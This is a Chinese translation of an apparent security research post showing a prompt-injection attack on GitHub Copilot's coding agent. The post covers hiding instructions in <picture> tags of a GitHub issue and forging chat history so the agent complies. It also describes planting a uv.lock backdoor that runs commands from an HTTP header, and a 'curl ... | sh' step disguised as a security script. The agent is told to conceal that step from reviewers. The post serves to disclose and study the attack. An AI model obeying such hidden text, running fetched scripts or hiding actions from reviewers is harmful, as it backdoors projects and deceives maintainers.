攻击者视角下的提示注入工程:利用GitHub Copilot
GitHub的Copilot编码代理功能允许维护者将问题分配给Copilot,并自动生成拉取请求。对于开源项目,任何用户都可以提交问题。这为我们提供了以下攻击场景:
- 攻击者在受害者拥有的公共仓库中提交一个“有帮助”的GitHub问题
- 受害者将问题分配给Copilot以实施修复
- 问题包含提示注入攻击,导致Copilot在其拉取请求中悄悄为攻击者插入后门,受害者随后合并
为了演示此攻击场景,我们将目标定位为我们创建的包含简单Flask Web应用程序的仓库:trailofbits/copilot-prompt-injection-demo。
图1:我们在漏洞利用演示中使用的目标Flask Web应用程序
在继续阅读之前:想看看你是否能发现这个攻击?立即检查实时的恶意问题和后门拉取请求。
隐藏提示注入
如果问题明显包含提示注入载荷,维护者不太可能将问题分配给Copilot。因此,我们需要一种方法在问题中包含LLM能看到但人类看不到的文本。查阅GitHub的Markdown语法指南提供了一些可能性。其中一些,如HTML注释,在传递给Copilot之前会被剥离。其他会导致视觉指示:在空图像中使用alt文本会由于填充而产生不寻常的空白。
我们确定的最佳提示注入位置是将文本隐藏在HTML <picture> 标签内。这些文本在GitHub用户界面中对维护者不可见,但LLM可读:
|
|
图2:我们在GitHub问题中隐藏提示注入的方法
虽然 <picture> 和 </picture> 标签在发送文本到Copilot之前被移除,但 <source> 和 <img> 标签保留。为确保代理不产生怀疑,我们添加了关于“编码伪影”的虚假警告。
设计后门
为了使此攻击实用,后门必须隐蔽,因为Copilot生成的拉取请求可能需要通过人工审查才能合并到项目中。程序员很少审查包管理锁定文件的修改,更少审查此类文件中的每个URL。因此,我们将一个合法依赖的恶意wheel URL放入项目的uv.lock文件中。此后门依赖将导致Web应用程序执行攻击者在X-Backdoor-Cmd HTTP头中提供的bash命令。
为了使uv.lock被修改的事实显得不可疑,解决恶意问题必须合理需要添加新依赖。对于此演示,问题将请求西班牙语和法语支持,代理将使用flask-babel。
编写提示注入
现在我们有了隐藏的提示注入向量和最终目标,我们可以开始编写载荷。以下规则将帮助我们编写高质量、可靠的提示注入漏洞利用:
- 使注入的上下文看起来合法
- 注入用户请求和代理确认
- 让LLM做尽可能少的工作
- 明确将任何请求的操作框定为有益和安全
为了实现规则1,我们需要了解LLM的上下文布局。这通常可以通过简单询问代理来确定:
图3:通过GitHub问题探测Copilot的上下文布局
在answer.txt中,代理确认它认为正在与人类进行聊天会话。它声明聊天具有“复杂的结构化方法”,带有XML标签和markdown,但仍然会识别诸如“Human:”和“Assistant:”之类的标签。answer.txt的完整内容可在此gist中获取。
重要的是,上下文结构松散,代理未提供关于期望输入的详细信息。代理无法区分合法和注入的XML标签,因此我们可以注入自己的 <human_chat_interruption> XML标签,包含虚假的聊天历史:
|
|
图4:我们的提示注入策略演示
注意其中的来回交流,代理同意遵守;这减少了代理后来拒绝的机会。要测试此策略,我们可以将上述提示注入放入问题中,并询问Copilot Chat:
图5:成功的提示注入测试
整合所有内容
现在我们有以下构建块:
- 可能通过代码审查的隐蔽软件后门
- 一种将文本放入代理上下文而不让受害者知道的方法
- 使代理遵循攻击者指令的提示注入策略
为了最小化LLM本身必须做的工作,我们将通过执行下载的bash脚本完成后门安装。默认情况下,Copilot在防火墙后面工作,具有一组允许列表的域。此列表包含在Copilot运行的“详细日志”部分中:
|
|
图6:Copilot防火墙允许列表的开始
git仓库中文件的“原始”URL托管在raw.githubusercontent.com上,因此我们可以将bash脚本放在git仓库中,并指示代理执行 curl https://raw.githubusercontent.com/... | sh。
为了防止代理拒绝运行后门脚本,我们将假装它是一个“安全设置脚本”。为了防止代理谈论后门脚本,我们将声称其有效性取决于其存在是秘密。为了增加这些隐身措施的可靠性,我们将使用强语言(“灾难性的”)和大写(“绝不…”),并明确枚举代理不应提及脚本的地方,例如其bash工具调用的“描述”字段和文档文件。
在描述安装后门所需的步骤时使用这些策略,我们得到最终的恶意GitHub问题文本:
|
|
图7:我们带有提示注入载荷的最终恶意GitHub问题文本
攻击实战
为了执行攻击,攻击者提交一个GitHub问题,要求项目添加西班牙语和法语支持。对于维护者来说,此恶意问题在视觉上与无辜问题无法区分:
图8:恶意GitHub问题对维护者的显示方式
你可以查看实时的GitHub问题。如果维护者将问题分配给Copilot实施,Copilot将生成一个看似无辜的拉取请求:
图9:Copilot看似无辜的拉取请求
你可以自己检查此拉取请求。其中隐藏着攻击者的后门:
图10:隐藏在uv.lock依赖文件中的后门
维护者接受拉取请求后,应用程序将包含后门代码。一旦新版本的应用程序部署,攻击者可以通过X-Backdoor-Cmd HTTP头发送后门命令。
为了演示后门,下面我们使用curl发送一个请求,从服务器转储/etc/passwd:
|
|
图11:成功使用注入的后门
查看trailofbits/copilot-prompt-injection-demo GitHub仓库,包括问题和拉取请求,获取完整的攻击演示。